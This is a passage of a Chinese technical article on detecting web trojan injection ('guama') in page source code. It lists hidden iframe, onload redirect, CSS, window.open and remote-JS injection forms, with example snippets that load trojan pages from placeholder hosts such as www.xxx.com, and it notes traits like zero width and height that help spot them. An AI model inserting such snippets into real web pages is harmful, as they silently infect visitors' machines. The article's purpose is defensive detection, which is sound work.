当前位置:主页>科 研>学术交流>

基于源代码分析的Web恶意代码探测方法(2)

3  源码分析

    网页恶意代码其实就是一段网页代码,主要以ASP和PHP代码为主。由于这些代码都运行在服务器端,攻击者通过这段精心设计的代码,在服务器端进行某些危险的操作,获得某些敏感的技术信息或者通过渗透,提权获得服务器的控制权。并且这也是攻击者控制服务器的一条通道,比一般的入侵更具有隐蔽性。
    网页挂马就是攻击者通过在正常的页面中(通常是网站的主页)插入一段代码。浏览者在打开该页面的时候,这段代码被执行,然后下载并运行某木马的服务器端程序,进而控制浏览者的主机。
网页挂马到如今已经发展出许多方法与应用手段,从IFRAME框架,到利用JS文件调用网页木马,以至于在CSS文件中插入网页木马,或者伪装成图片,甚至利用SWF、RM、 AVI等文件的弹窗功能来打开网页木马,都成为黑客经常使用的手段。在这其中IFRAME网页框架挂马是黑客最多用到的经典挂马方式,也是最基础的挂马方式,可以说没有IFRAME,网页木马中有一多半就无法实现完美的隐藏,让用户在不察觉中受到攻击。

3.1 通常的挂马形式

3.1.1 框架挂马
    对于网页源代码而言,只要不破坏原有的语言逻辑,那就想插入哪里就写哪里了,网页木马被攻击者利用iframe语句,加载到任意网页中都可执行的挂马形式,是最早也是最有效的的一种网络挂马技术。通常的挂马代码如下:
    <iframe src=http://www.xxx.com/muma.html width=100 height=100></iframe>
    这里可以提取iframe来进行分析识别。
3.1.2  body挂马
    <body onload="window.location='地址';"></body>
3.1.3  隐蔽挂马
    top.document.body.innerHTML = top.document.body. innerHTML + 'rn<iframe src="http://www.xxx.com/ muma.htm/"></iframe>'
3.1.4  CSS中挂马
 body {
background-image: url('javascript:document.write("<script src= http://www.xxx.com /muma.js></script>")')}
3.1.5  JAJA挂马
    黑客直接将JavaScript脚本代码写在网页中,当访问者在浏览网页时,恶意的挂马脚本就会通过用户的浏览器悄悄的打开网马窗口,隐藏的运行典型代码如下:
<SCRIPT language=javascript>
window.open ("http://www.xxx.com/木马.html","","toolbar=no,location=no,directories=no,status=no,menubar=no,scro llbars=no,width=0,height=0");
</script>
    这种代码往往很长,可以通过“width”和“height=”参数设为“0”进行识别。
    这里同样可以利用基本的iframe框架,不过在<script></script>之中可识别语言不是html,但js文件可以写成如下形式:
ocument.write("<iframe <iframe src=http://www.001sb.net/mm.htm width=0 height=0></iframe>");,这时就可以执行此js中的代码了,全语句如下:
< script language=*>document.write("<iframe <iframe src=http://www.001sb.net/mm.htm width=0 height=0> </iframe>")</script>
3.1.6  启动时加载一个网页
    <body onload="window.location=' http://www.xxx.com ';"></
body>

3.2 隐蔽的挂马形式

3.2.1 隐形框架嵌入式网络挂马
    <iframe src=http://www.xxx.com/muma.html width=0 height=0></iframe>
在打开插入该句代码的网页后,就也就打开了http://www.xxx.com/muma.html页面,但是由于它的长和宽都为“0”,所以很难察觉,非常具有隐蔽性。
3.2.2  js调用型网页挂马
    好多网站上,源代码都会调用js文件,其中的语句为 <script language=* src=./ad/ad.js></script>,这里可能被挂马了,其中这里可以远程调用js。js挂马是一种利用js脚本文件调用的原理进行的网页木马隐蔽挂马技术,如:黑客先制作一个js文件,然后利用js代码调用到挂马的网页。通常代码如下:
    <script language=javascript src=http://www.xxx.com/ gm.js></script>
http://www.xxx.com/gm.js就是一个js脚本文件,通过它调用和执行木马的服务端。这些js文件一般都可以通过工具生成,攻击者只需输入相关的选项就可以了。同时还可能有下面的变形加密形式:
    <SCRIPT language="JScript.Encode" src=http://www.xxx.com/muma.txt></script>
muma.txt后缀为任意扩展名
    黑客会先用写字板将JS挂马脚本代码写入其中:
document.write('<Iframe src="网页木马地址" ></iframe>');
    然后另存为后缀为JS的脚本文件,并上传到自己指定的网址。这时需要在网页代码中寻找如下代码进行识别是否被写入恶意代码:
    <script src="http://www.xxx.com/木马脚本.js"></script>
或者
    document.write("<div style='display:none'>")
    document.write("<iframe src=" http://www.xxx.com " width="0" height="0"     scrolling="no" frameborder="0"> </iframe>")
document.write("</div>")

(责任编辑:adminadmin2008)

分享到:

更多
发表评论
请自觉遵守互联网相关的政策法规,严禁发布色情、暴力、反动的言论。
评价:
表情:
  • 微笑/wx
  • 撇嘴/pz
  • 抓狂/zk
  • 流汗/lh
  • 大兵/db
  • 奋斗/fd
  • 疑问/yw
  • 晕/y
  • 偷笑/wx
  • 可爱/ka
  • 傲慢/am
  • 惊恐/jk
用户名: 验证码:点击我更换图片
资料下载专区
图文资讯

容器是如何让“一切都是代码”成为现实的

容器是如何让“一切都是代码”成为现实的

现代应用的发展在很大程度上要归功于DevOps运动的蓬勃兴起以及该运动所产生的各种自动...[详细]

如何快速掌握一门新技术/语言/框架

如何快速掌握一门新技术/语言/框架

IT行业中的企业特点是都属于知识密集型企业。这种企业的核心竞争力与员工的知识和技能...[详细]

建高效数据中心有径可循

建高效数据中心有径可循

能耗问题一直是各大数据中心的心头之痛。有数据表明,2015年我国数据中心能耗预计将高...[详细]

2015黑帽大会:网络灾难后 重建IT安全

2015黑帽大会:网络灾难后 重建IT安全

在遭遇网络灾难后重建IT安全似乎是不可能完成的任务,但根据安全专家Christina Kubeck...[详细]

面对DNS劫持 企业移动应用该如何防护?

面对DNS劫持 企业移动应用该如何防护?

DNS(Domain Name System)劫持又称域名劫持,是指对正常的域名解析请求加以拦截,转而...[详细]

返回首页 返回顶部